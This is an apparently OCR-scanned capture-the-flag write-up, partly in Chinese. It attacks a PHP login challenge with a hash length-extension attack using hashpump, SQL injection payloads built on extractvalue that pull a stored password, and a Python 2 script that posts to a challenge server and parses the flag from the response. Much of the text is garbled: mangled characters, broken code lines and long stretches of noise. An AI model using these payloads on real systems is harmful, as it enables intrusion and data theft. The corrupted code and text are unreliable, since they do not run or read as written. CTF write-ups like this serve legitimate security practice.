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FIRS13 3] index.txt

$flag="x0000000000MAONIIONNKX;

$secret = “x0000000000000000000000xX”; // guess it length )

$username = $ POST[“username’];

$password = $§ POST[“password”’];

$cookie = $ COOKIE[‘albert’];

if ('lempty($_COOKIE['albert])) {

if (urldecode($username) === “admin” && urldecode($password) !=="admin”) {
if ($_COOKIE['albert’] === md5($secret . urldecode($username . $password))) {
echo “Congratulations! here is your flag.n”;

die (“The flag is “. $flag);

}

else {

die (“Cookie Not Correct”);

}
}

else {

die (“Go AWAY”);
}

}

setcookie(“sample-hash”, md5($secret . urldecode(“admin” . “admin”)), time() + (60 60 24 7));
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>> hashpump

Input Signature: 968c31570a2a3afa076112687ecca974

Input Data: admin

Input Key Length: 26

Input Data to Add: pcat
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id=1%27 and extractvalue(1,concat(0x5c,(select password from albertchang),0x5¢,1))%23
HE R

id=-1%27 or extractvalue(1,concat(0x5c,(select password from albertchang),0x5c¢,1))%23
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Your Username is : admin
please post flag === admin'password
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<title»4@4!!!Ths File not:found!</titled
¢link rev="made" href="mailto:postmaster@localhost” /3
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3| <!-- Do You Know liumima? -->

4| <html xmlns="http:/ www.w3.org/1999/xhtml"™ lang="en" xml:lang="en":
5| <head>
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<fp>

<h2>Error Code: 4@84</h2>

<h2xMessage: \xO@WxT7S\xTT 4P\ 72\ x6d\ k64 x 190X 7F a1l xda \ w17\ 4@\ x7a\ xBc\x7

¢l-- Flag Here:~3+8ep-"3

~_MrcowaljaeSSL | #X=<dyhMe ! ; \w{ssE5je@]RTs

S5(*p;=889

S04 _ewpg Prn:egyGe (G3KJZ geewwn=o=;#pk.sbe31eeDVrs_srlsYeN{grarR: lubJuv{»EVel{
-

fI

2ewBe)>]Se"-K9k  VI+MBgeeeeg

ivE+ros {wezreDesed zoifi~eA3 :Dse7cTEINJKx[[,c*’
F}"eQeBin+BE+2"6)K21+ Rbe-"e0ot

0."eP"3een0RBeStSene (F*Qe[+SCPXBEe o2h7e{el

“C/f " &He Jelidwde ! 0" oR " ¢RPgeSF+o&[o_17#7300<ml2%sVe"=RdX30+0

BZge !5eMiwddL*Owpd” hfe” pwskKXZbrhWxeheTf
sedefVepesPUA{s" seD¥eeASxes s RZV{K k¥Yn B | e JwVe e Te%8- " CPo

Me--»{/body>

</htmlx

MO DO el N LN LW f e G0 MDD G el ETOLR o LW P e £

flag AKX T-500

It LA i 3238 S Bk T 500 messageiZ H 4% 5 8%

FHAMT

REAANY, FHrequestsTTEERMI, KB T REKIHTMLA &
Fit LA R 48 A httplib 77 32

#vyz:2016.12.25

# -- coding:utf-8 --

import string

import httplib,urllib

data =
urllib.urlencode({arg” 1111111 11 11 1111111111111 1111 11111111111111111111111111111111111111111°
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conn = httplib.HT TPConnection(“45.32.58.123:12223");

headers = {“Content-Type”:“application/x-www-form-urlencoded”,
“Connection”:“Keep-Alive”,“Referer”:“POST”,url="/main.php” ,body=data,headers=headers);
s = conn.getresponse();

content = str(s.read())

Message = content[content.index(“Message:”)+9:content.index(*

Message = Message.replace(r'x,*”)

Message = int(Message,16)

Flag = content[content.index(“Here”)+5:content.index(“—>
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